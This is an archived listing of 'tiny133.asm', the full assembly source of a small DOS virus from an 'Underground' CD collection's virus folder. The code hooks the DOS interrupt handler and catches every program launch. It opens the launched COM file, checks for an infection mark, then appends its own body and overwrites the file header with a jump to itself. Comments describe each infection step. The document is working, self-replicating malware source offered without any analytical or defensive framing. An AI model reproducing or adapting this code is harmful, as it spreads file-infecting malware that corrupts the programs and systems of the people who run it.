home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny133.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.4 KB  |  94 lines

  1. VSize=085h
  2.  
  3.  
  4.  
  5. Code            Segment
  6.  
  7.                 Assume  CS:Code
  8.  
  9.                 org     0
  10.  
  11.                 db      4Dh
  12.  
  13.                 jmp     Start
  14.  
  15.  
  16.  
  17.                 Org     600h
  18.  
  19.  
  20.  
  21. Bytes           db      0CDh,20h,90h,90h
  22.  
  23.  
  24.  
  25. Start:          mov     si, 0100h
  26.  
  27.                 mov     bx, offset Int21
  28.  
  29.                 mov     cx, 0050h
  30.  
  31.                 mov     di, si
  32.  
  33.                 add     si, [si+2]
  34.  
  35.                 push    di
  36.  
  37.                 movsw
  38.  
  39.                 movsw
  40.  
  41.                 mov     es, cx
  42.  
  43.                 cmpsb
  44.  
  45.                 je      StartFile
  46.  
  47.                 dec     si
  48.  
  49.                 dec     di
  50.  
  51.         rep     movsw
  52.  
  53.                 mov     es, cx
  54.  
  55.                 xchg    ax, bx
  56.  
  57.                 xchg    ax, cx
  58.  
  59. Loop0:          xchg    ax, cx
  60.  
  61.                 xchg    ax, word ptr es:[di-120h]
  62.  
  63.                 stosw
  64.  
  65.                 jcxz    Loop0
  66.  
  67.                 xchg    ax, bx
  68.  
  69. StartFile:
  70.  
  71.                 push    ds
  72.  
  73.                 pop     es
  74.  
  75.                 ret
  76.  
  77.  
  78.  
  79. Int21:          cmp     ax, 4B00h
  80.  
  81.                 jne     End21
  82.  
  83. Exec:           push    ax 
  84.  
  85.                 push    bx 
  86.  
  87.                 push    dx
  88.  
  89.                 push    ds
  90.  
  91.                 push    es
  92.  
  93.                 mov     ax, 3D02h
  94.  
  95.                 call    DoInt21
  96.  
  97.                 jc      EndExec
  98.  
  99.                 cbw                     ;Zero AH
  100.  
  101.                 cwd                     ;Zero DX
  102.  
  103.                 mov     bx, si          ;Move handle to BX
  104.  
  105.                 mov     ds, ax          ;Set DS and ES to 60h,
  106.  
  107.                 mov     es, ax          ;the virus data segment
  108.  
  109.                 mov     ah, 3Fh         ;Read first 4 bytes
  110.  
  111.                 int     69h
  112.  
  113.                 mov     al, 4Dh
  114.  
  115.                 scasb                   ;Check for 4D5Ah or infected file mark
  116.  
  117.                 je      Close           ;.EXE or already infected
  118.  
  119.                 mov     al, 2
  120.  
  121.                 call    LSeek       ;Seek to the end, SI now contains file size
  122.  
  123.                 mov     cl, VSize       ;Virus size in CX, prepare to write
  124.  
  125.                 int     69h             ;AH is 40h, i.e. Write operation
  126.  
  127.                 mov     ax, 0E94Dh      ;Virus header in AX
  128.  
  129.                 stosw                   ;Store it
  130.  
  131.                 xchg    ax, si          ;Move file size in AX
  132.  
  133.                 stosw                   ;Complete JMP instruction
  134.  
  135.                 xchg    ax, dx          ;Zero AX
  136.  
  137.                 call    LSeek           ;Seek to the beginning
  138.  
  139.                 int     69h             ;AH is 40h, write the virus header
  140.  
  141. Close:          mov     ah,3Eh          ;Close the file
  142.  
  143.                 int     69h
  144.  
  145. EndExec:        pop     es 
  146.  
  147.                 pop     ds
  148.  
  149.                 pop     dx
  150.  
  151.                 pop     bx
  152.  
  153.                 pop     ax
  154.  
  155. End21:          jmp     dword ptr cs:[69h * 4]
  156.  
  157.  
  158.  
  159. LSeek:          mov     ah, 42h         ;Seek operation
  160.  
  161.                 cwd                     ;Zero DX
  162.  
  163. DoInt21:        xor     cx, cx          ;External entry for Open, zero cx
  164.  
  165.                 int     69h
  166.  
  167.                 mov     cl, 4           ;4 bytes will be read/written
  168.  
  169.                 xchg    ax, si          ;Store AX in SI
  170.  
  171.                 mov     ax, 4060h       ;Prepare AH for Write
  172.  
  173.                 xor     di, di          ;Zero DI
  174.  
  175.                 ret
  176.  
  177.  
  178.  
  179. VLen = $ - offset Bytes
  180.  
  181.  
  182.  
  183. Code    EndS
  184.  
  185. End
  186.  
  187.